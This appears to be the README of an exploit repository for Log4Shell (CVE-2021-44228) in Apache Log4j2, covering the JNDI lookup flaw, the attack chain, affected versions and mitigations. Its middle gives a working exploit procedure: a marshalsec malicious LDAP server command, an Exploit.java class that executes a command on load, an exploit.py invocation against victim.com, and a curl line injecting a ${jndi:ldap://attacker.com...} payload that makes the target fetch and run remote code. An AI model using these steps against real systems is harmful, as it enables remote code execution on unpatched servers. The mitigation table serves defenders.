
CVE-2021-44228 Log4Shell - Apache Log4j2 JNDI Injection RCE
CVSS 10.0 CRITICAL | CWE-502: Deserialization of Untrusted Data | CWE-917: Improper Neutralization for Expression Language Injection
Log4Shell (CVE-2021-44228) is arguably the most severe vulnerability of the 2020s, affecting Apache Log4j2 versions 2.0 through 2.14.1. Discovered by Chen Zhaojun of Alibaba Cloud Security in November 2021 and publicly disclosed on December 9, 2021, it allows unauthenticated remote code execution on hundreds of millions of servers worldwide.
The vulnerability arises from Log4j2's JNDI (Java Naming and Directory Interface) lookup feature, which allows arbitrary lookup strings like ${jndi:ldap://attacker.com/a} in log messages. When a user-controlled string containing such a pattern is logged, Log4j2 performs the JNDI lookup, which can load and execute remote Java classes.
Log4j2 introduced a feature called "Message Lookup" that substitutes ${...} patterns in log messages with values from various sources (JNDI, environment variables, system properties, etc.). The JndiLookup class (org.apache.logging.log4j.core.lookup.JndiLookup) calls InitialContext.lookup() on attacker-controlled strings without proper sanitization.
// Vulnerable code in JndiLookup.java
public String lookup(LogEvent event, String key) {
if (key == null) {
return null;
}
try {
// Directly passes attacker-controlled key to JNDI lookup
return JndiManager.getJndiManager().lookup(key);
} catch (...
The lookup() method delegates to javax.naming.InitialContext.lookup(), which can load remote objects from LDAP, RMI, DNS, or CORBA servers.
1. Attacker crafts payload: ${jndi:ldap://attacker.com/a}
2. Payload enters application context (HTTP header, user input, etc.)
3. Application logs the payload (e.g., via request logging)
4. Log4j2 processes the ${...} pattern and calls JndiLookup
5. JNDI lookup queries attacker-controlled LDAP server
6. LDAP server responds with a Reference pointing to attacker's Java class
7. Log4j2 / JVM fetches and loads the remote class
8. Attacker's class executes arbitrary code in the application's JVM
Use marshalsec to start a malicious LDAP server:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://attacker.com/#Exploit" 1389
// Exploit.java
public class Exploit {
static {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (Exception e) {
e.printStackTrace();
}
}
}
javac Exploit.java
python3 -m http.server 80 # Serve Exploit.class
python exploit.py --target http://victim.com --payload '${jndi:ldap://attacker.com:1389/Exploit}'
Or via HTTP header:
curl -H 'User-Agent: ${jndi:ldap://attacker.com:1389/Exploit}' http://victim.com
The included exploit.py provides:
| Version | Status |
|---|
| Log4j 2.0 – 2.14.1 | Vulnerable |
| Log4j 2.15.0-rc1 | Partial fix (CVE-2021-45046 bypass) |
| Log4j 2.15.0 | Limited fix (disabled JNDI by default, limited lookups) |
| Log4j 2.16.0 | Disabled JNDI, removed Message Lookups |
| Log4j 2.17.0 | Final fix for 2.x (CVE-2021-44832) |
| Log4j 1.x | Not directly affected (different codebase) |
| Approach | Details |
|---|
| Upgrade Log4j | Update to 2.17.0+ (2.x) or 2.12.4+ (Java 7) |
| JVM Flag | -Dlog4j2.formatMsgNoLookups=true |
| Remove JndiLookup | zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class |
| WAF Rules | Block ${jndi: patterns in requests |
| Network Controls | Block outbound LDAP/RMI to untrusted servers |